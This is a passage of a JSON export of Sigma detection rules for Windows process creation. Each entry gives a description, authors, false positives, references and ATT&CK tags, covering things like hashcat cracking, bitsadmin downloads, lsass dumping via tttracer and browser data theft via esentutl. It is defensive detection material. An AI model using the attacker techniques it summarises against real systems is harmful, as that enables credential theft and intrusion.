use the same command line flags and values" ], "filename": "proc_creation_win_hashcat.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1110.002/T1110.002.md#atomic-test-1---password-cracking-with-hashcat", "https://hashcat.net/wiki/doku.php?id=hashcat", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hashcat.yml" ], "tags": [ "attack.credential_access", "attack.t1110.002" ] }, "uuid": "39b31e81-5f5f-4898-9c0e-2160cfc0f9bf", "value": "Password Cracking with Hashcat" }, { "description": "Threat actors can use the PsLogList utility to dump event log in order to extract admin accounts and perform account discovery.", "meta": { "author": "Nasreddine Bencherchali @nas_bench", "creation_date": "2021/12/18", "falsepositive": [ "Another tool that uses the command line switches of PsLogList", "Legitimate use of PsLogList by an administrator" ], "filename": "proc_creation_win_susp_psloglist.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Sysinternals/PsLogList", "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", "https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psloglist.yml" ], "tags": [ "attack.discovery", "attack.t1087", "attack.t1087.001", "attack.t1087.002" ] }, "related": [ { "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "aae1243f-d8af-40d8-ab20-33fc6d0c55bc", "value": "Suspicious Use of PsLogList" }, { "description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid command-line detection", "meta": { "author": "frack113, Nasreddine Bencherchali", "creation_date": "2022/08/07", "falsepositive": [ "Applications could use this notation occasionally which might generate some false positives. In that case investigate the parent and child process." ], "filename": "proc_creation_win_ntfs_short_name_path_use_cli.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN", "https://twitter.com/frack113/status/1555830623633375232", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntfs_short_name_path_use_cli.yml" ], "tags": [ "attack.defense_evasion", "attack.t1564.004" ] }, "related": [ { "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "349d891d-fef0-4fe4-bc53-eee623a15969", "value": "Use Short Name Path in Command Line" }, { "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", "meta": { "author": "frack113", "creation_date": "2022/09/25", "falsepositive": [ "Legitimate use" ], "filename": "proc_creation_win_ultraviewer.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ultraviewer.yml" ], "tags": [ "attack.command_and_control", "attack.t1219" ] }, "related": [ { "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "88656cec-6c3b-487c-82c0-f73ebb805503", "value": "Use of UltraViewer Remote Access Software" }, { "description": "Detect use of \"/R <\" to read and execute a file via cmd.exe", "meta": { "author": "frack113", "creation_date": "2022/08/20", "falsepositive": [ "Legitimate use" ], "filename": "proc_creation_win_cmd_read_contents.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1059.003/T1059.003.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_read_contents.yml" ], "tags": [ "attack.execution", "attack.t1059.003" ] }, "related": [ { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "00a4bacd-6db4-46d5-9258-a7d5ebff4003", "value": "Read and Execute a File Via Cmd.exe" }, { "description": "Detects usage of bitsadmin downloading a file with a suspicious extension", "meta": { "author": "Florian Roth", "creation_date": "2022/06/28", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_bitsadmin_download_susp_ext.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", "https://isc.sans.edu/diary/22264", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_ext.yml" ], "tags": [ "attack.defense_evasion", "attack.persistence", "attack.t1197", "attack.s0190", "attack.t1036.003" ] }, "related": [ { "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5b80a791-ad9b-4b75-bcc1-ad4e1e89c200", "value": "Bitsadmin Download File with Suspicious Extension" }, { "description": "Detects usage of wmic to start or stop a service", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/06/20", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_wmic_service.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_service.yml" ], "tags": [ "attack.execution", "attack.t1047" ] }, "related": [ { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0b7163dc-7eee-4960-af17-c0cd517f92da", "value": "WMIC Service Start/Stop" }, { "description": "Detects a suspicious call to Invoke-WebRequest cmdlet where the and output is located in a suspicious location", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/02", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_invoke_webrequest_download.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_invoke_webrequest_download.yml" ], "tags": [ "attack.command_and_control", "attack.t1105" ] }, "related": [ { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5e3cc4d8-3e68-43db-8656-eaaeefdec9cc", "value": "Suspicious Invoke-WebRequest Usage" }, { "description": "Detects the execution of reg.exe and subsequent command line arguments for enabling RDP service on the host by tampering with the 'CurrentControlSet\\Control\\Terminal Server' subkeys", "meta": { "author": "@Kostastsale, @TheDFIRReport, slightly modified by pH-T", "creation_date": "2022/02/12", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_reg_enable_rdp.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_enable_rdp.yml" ], "tags": [ "attack.defense_evasion", "attack.lateral_movement", "attack.t1021.001", "attack.t1112" ] }, "uuid": "0d5675be-bc88-4172-86d3-1e96a4476536", "value": "Enabling RDP Service via Reg.exe" }, { "description": "Detects the removal of a port or application rule in the Windows Firewall configuration using netsh", "meta": { "author": "frack113", "creation_date": "2022/08/14", "falsepositive": [ "Legitimate administration" ], "filename": "proc_creation_win_netsh_fw_delete.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/8bbd5b4c-b82d-4e6d-a3ea-d454594a37cc/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_delete.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.004" ] }, "related": [ { "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1a5fefe6-734f-452e-a07d-fc1c35bce4b2", "value": "Netsh Firewall Rule Deletion" }, { "description": "Detects suspicious process that use escape characters", "meta": { "author": "juju4", "creation_date": "2018/12/11", "falsepositive": [ "False positives depend on scripts and administrative tools used in the monitored environment" ], "filename": "proc_creation_win_susp_cli_escape.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/Hexacorn/status/885553465417756673", "https://twitter.com/Hexacorn/status/885570278637678592", "http://www.windowsinspired.com/understanding-the-command-line-string-and-arguments-received-by-a-windows-program/", "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html", "https://twitter.com/vysecurity/status/885545634958385153", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cli_escape.yml" ], "tags": [ "attack.defense_evasion", "attack.t1140" ] }, "related": [ { "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f0cdd048-82dc-4f7a-8a7a-b87a52b6d0fd", "value": "Suspicious Commandline Escape" }, { "description": "Detects usage of \"PresentationHost\" which is a utility that runs \".xbap\" (Browser Applications) files to download arbitrary files", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/19", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_presentationhost_download.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/LOLBAS-Project/LOLBAS/pull/239/files", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_presentationhost_download.yml" ], "tags": [ "attack.defense_evasion", "attack.execution", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b124ddf4-778d-418e-907f-6dd3fc0d31cd", "value": "Download Arbitrary Files Via PresentationHost.exe" }, { "description": "Checks whether the image specified in a process creation event is not a full, absolute path (caused by process ghosting or other unorthodox methods to start a process)", "meta": { "author": "Max Altgelt", "creation_date": "2021/12/09", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_image_missing.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://pentestlaboratories.com/2021/12/08/process-ghosting/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_image_missing.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "71158e3f-df67-472b-930e-7d287acaa3e1", "value": "Execution Of Non-Existing File" }, { "description": "Detects suspicious use of Process Hacker and its newer version named System Informer, a tool to view and manipulate processes, kernel options and other low level stuff", "meta": { "author": "Florian Roth", "creation_date": "2022/10/10", "falsepositive": [ "Sometimes used by developers or system administrators for debugging purposes" ], "filename": "proc_creation_win_susp_process_hacker.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://processhacker.sourceforge.io/", "https://github.com/winsiderss/systeminformer", "https://www.crowdstrike.com/blog/falcon-overwatch-report-finds-increase-in-ecrime/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_process_hacker.yml" ], "tags": "No established tags" }, "uuid": "811e0002-b13b-4a15-9d00-a613fce66e42", "value": "Process Hacker / System Informer Usage" }, { "description": "Detect modification of services configuration (ImagePath, FailureCommand and ServiceDLL) in registry by processes with Medium integrity level", "meta": { "author": "Teymur Kheirkhabarov", "creation_date": "2019/10/26", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_possible_privilege_escalation_via_service_reg_perm.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", "https://pentestlab.blog/2017/03/31/insecure-registry-permissions/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_possible_privilege_escalation_via_service_reg_perm.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1574.011" ] }, "uuid": "0f9c21f1-6a73-4b0e-9809-cb562cb8d981", "value": "Possible Privilege Escalation via Service Permissions Weakness" }, { "description": "Detects creation of local users via the net.exe command with the option \"never expire\"", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/12", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_net_user_add_never_expire.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_user_add_never_expire.yml" ], "tags": [ "attack.persistence", "attack.t1136.001" ] }, "related": [ { "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b9f0e6f5-09b4-4358-bae4-08408705bd5c", "value": "Net.exe User Account Creation - Never Expire" }, { "description": "Detects suspicious command line patterns used when rundll32 is used to run JavaScript code", "meta": { "author": "Florian Roth", "creation_date": "2022/01/14", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_susp_rundll32_js_runhtmlapplication.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "http://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_DETECTION_BYPASS.txt", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_js_runhtmlapplication.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "9f06447a-a33a-4cbe-a94f-a3f43184a7a3", "value": "Rundll32 JS RunHTMLApplication Pattern" }, { "description": "Detects usage of winget to install applications via manifest file. Adversaries can abuse winget to download payloads remotely and execute them without touching disk. The manifest option enables you to install an application by passing in a YAML file directly to the client. Winget can be used to download and install exe's, msi, msix files later.", "meta": { "author": "Sreeman, Florian Roth, Frack113", "creation_date": "2020/04/21", "falsepositive": [ "Admin activity installing packages not in the official Microsoft repo. Winget probably won't be used by most users." ], "filename": "proc_creation_win_lolbin_execution_via_winget.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Winget/", "https://docs.microsoft.com/en-us/windows/package-manager/winget/install#local-install", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_execution_via_winget.yml" ], "tags": [ "attack.defense_evasion", "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "313d6012-51a0-4d93-8dfc-de8553239e25", "value": "Monitoring Winget For LOLbin Execution" }, { "description": "Detects the use of KrbRelay, a Kerberos relaying tool", "meta": { "author": "Florian Roth", "creation_date": "2022/04/27", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_hack_krbrelay.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/cube0x0/KrbRelay", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_krbrelay.yml" ], "tags": [ "attack.credential_access", "attack.t1558.003" ] }, "uuid": "e96253b8-6b3b-4f90-9e59-3b24b99cf9b4", "value": "KrbRelay Hack Tool" }, { "description": "Detects execution of msdt.exe using the \"cab\" flag which could indicates suspicious diagcab files with embedded answer files leveraging CVE-2022-30190", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/06/21", "falsepositive": [ "Legitimate usage of \".diagcab\" files" ], "filename": "proc_creation_win_msdt_susp_cab_options.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/nas_bench/status/1537896324837781506", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_susp_cab_options.yml" ], "tags": [ "attack.defense_evasion", "attack.t1202" ] }, "related": [ { "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "dc4576d4-7467-424f-9eee-fd2b02855fe0", "value": "MSDT.EXE Execution With Suspicious Cab Option" }, { "description": "Detects javaw.exe in AppData folder as used by Adwind / JRAT", "meta": { "author": "Florian Roth, Tom Ueltschi, Jonhnathan Ribeiro, oscd.community", "creation_date": "2017/11/10", "falsepositive": "No established falsepositives", "filename": "proc_creation_win_mal_adwind.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.first.org/resources/papers/conf2017/Advanced-Incident-Detection-and-Threat-Hunting-using-Sysmon-and-Splunk.pdf", "https://www.hybrid-analysis.com/sample/ba86fa0d4b6af2db0656a88b1dd29f36fe362473ae8ad04255c4e52f214a541c?environmentId=100", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_adwind.yml" ], "tags": [ "attack.execution", "attack.t1059.005", "attack.t1059.007" ] }, "related": [ { "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1fac1481-2dbc-48b2-9096-753c49b4ec71", "value": "Adwind RAT / JRAT" }, { "description": "Detects the use of Windows Credential Editor (WCE)", "meta": { "author": "Florian Roth", "creation_date": "2019/12/31", "falsepositive": [ "Another service that uses a single -s command line switch" ], "filename": "proc_creation_win_hack_wce.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.ampliasecurity.com/research/windows-credentials-editor/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_wce.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001", "attack.s0005" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7aa7009a-28b9-4344-8c1f-159489a390df", "value": "Windows Credential Editor" }, { "description": "Detects the use of Ditsnap tool. Seems to be a tool for ransomware groups.", "meta": { "author": "Furkan Caliskan (@caliskanfurkan_)", "creation_date": "2020/07/04", "falsepositive": [ "Legitimate admin usage" ], "filename": "proc_creation_win_susp_ditsnap.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/yosqueoy/ditsnap", "https://thedfirreport.com/2020/06/21/snatch-ransomware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ditsnap.yml" ], "tags": [ "attack.credential_access", "attack.t1003.003" ] }, "related": [ { "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d3b70aad-097e-409c-9df2-450f80dc476b", "value": "DIT Snapshot Viewer Use" }, { "description": "Detects wmic known recon method to look for installed hotfixes, often used by pentest and attackers enum scripts", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/06/20", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_wmic_hotfix_enum.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html", "https://github.com/carlospolop/PEASS-ng/blob/fa0f2e17fbc1d86f1fd66338a40e665e7182501d/winPEAS/winPEASbat/winPEAS.bat", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_hotfix_enum.yml" ], "tags": [ "attack.execution", "attack.t1047" ] }, "related": [ { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "dfd2fcb7-8bd5-4daa-b132-5adb61d6ad45", "value": "WMIC Hotfix Recon" }, { "description": "Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system", "meta": { "author": "frack113", "creation_date": "2022/03/12", "falsepositive": [ "Legitimate script" ], "filename": "proc_creation_win_network_scan_loop.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://ss64.com/ps/foreach-object.htmll", "https://ss64.com/nt/for.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_network_scan_loop.yml" ], "tags": [ "attack.execution", "attack.t1059", "attack.discovery", "attack.t1018" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f8ad2e2c-40b6-4117-84d7-20b89896ab23", "value": "Suspicious Scan Loop Network" }, { "description": "Detects suspicious patterns in program names or folders that are often found in malicious samples or hacktools", "meta": { "author": "Florian Roth", "creation_date": "2022/02/11", "falsepositive": [ "Legitimate tools that accidentally match on the searched patterns" ], "filename": "proc_creation_win_susp_progname.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_progname.yml" ], "tags": "No established tags" }, "uuid": "efdd8dd5-cee8-4e59-9390-7d4d5e4dd6f6", "value": "Suspicious Program Names" }, { "description": "Detects the usage of one of the the commands to stop services such as 'net', 'sc'...etc in order to stop critical or important windows services such as AV, Backup...etc. As seen being used in some ransomware scripts", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/01", "falsepositive": [ "Administrator or tools shutting down the services due to upgrade or removal purposes. If you experience some FP please consider adding filters to the parent process launching this command and not removing the entry" ], "filename": "proc_creation_win_susp_service_stop.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus/Genshin%20Impact%20Figure%2010.jpg", "https://www.trellix.com/en-sg/about/newsroom/stories/threat-labs/lockergoga-ransomware-family-used-in-targeted-attacks.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_stop.yml" ], "tags": [ "attack.defense_evasion", "attack.t1489" ] }, "related": [ { "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ce72ef99-22f1-43d4-8695-419dcb5d9330", "value": "Suspicious Stop Windows Service" }, { "description": "Detects a base64 encoded FromBase64String keyword in a process command line", "meta": { "author": "Florian Roth", "creation_date": "2019/08/24", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_encoded_frombase64string.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_encoded_frombase64string.yml" ], "tags": [ "attack.defense_evasion", "attack.t1140", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fdb62a13-9a81-4e5c-a38f-ea93a16f6d7c", "value": "Encoded FromBase64String" }, { "description": "Detect use of TruffleSnout.exe", "meta": { "author": "frack113", "creation_date": "2022/08/20", "falsepositive": [ "Legitimate use" ], "filename": "proc_creation_win_trufflesnout.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1482/T1482.md", "https://github.com/dsnezhkov/TruffleSnout", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_trufflesnout.yml" ], "tags": [ "attack.discovery", "attack.t1482" ] }, "related": [ { "dest-uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "69ca006d-b9a9-47f5-80ff-ecd4d25d481a", "value": "Launch TruffleSnout Executable" }, { "description": "Detects execution of wmic utility with the \"computersystem\" flag in order to obtain information about the machine such as the domain, username, model...etc.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/08", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_wmic_computersystem_recon.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_computersystem_recon.yml" ], "tags": [ "attack.discovery", "attack.execution", "attack.t1047" ] }, "related": [ { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9d7ca793-f6bd-471c-8d0f-11e68b2f0d2f", "value": "Suspicious Get ComputerSystem Information with WMIC" }, { "description": "Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe.", "meta": { "author": "Ensar Şamil, @sblmsrsn, @oscd_initiative", "creation_date": "2020/10/06", "falsepositive": [ "Legitimate usage by software developers/testers" ], "filename": "proc_creation_win_lolbin_tttracer_mod_load.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/mattifestation/status/1196390321783025666", "https://twitter.com/oulusoyum/status/1191329746069655553", "https://lolbas-project.github.io/lolbas/Binaries/Tttracer/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_tttracer_mod_load.yml" ], "tags": [ "attack.defense_evasion", "attack.credential_access", "attack.t1218", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0b4ae027-2a2d-4b93-8c7e-962caaba5b2a", "value": "Time Travel Debugging Utility Usage" }, { "description": "One way Qbot steals sensitive information is by extracting browser data from Internet Explorer and Microsoft Edge by using the built-in utility esentutl.exe", "meta": { "author": "frack113", "creation_date": "2022/02/13", "falsepositive": [ "Legitimate use" ], "filename": "proc_creation_win_esentutl_webcache.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/", "https://redcanary.com/threat-detection-report/threats/qbot/", "https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_esentutl_webcache.yml" ], "tags": [ "attack.collection", "attack.t1005" ] }, "related": [ { "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6a69f62d-ce75-4b57-8dce-6351eb55b362", "value": "Esentutl Steals Browser Information" }, { "description": "Attackers can use findstr to hide their artifacts or search specific strings and evade defense mechanism", "meta": { "author": "Furkan CALISKAN, @caliskanfurkan_, @oscd_initiative, Nasreddine Bencherchali", "creation_date": "2020/10/05", "falsepositive": [ "Administrative findstr usage" ], "filename": "proc_creation_win_lolbin_findstr.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ 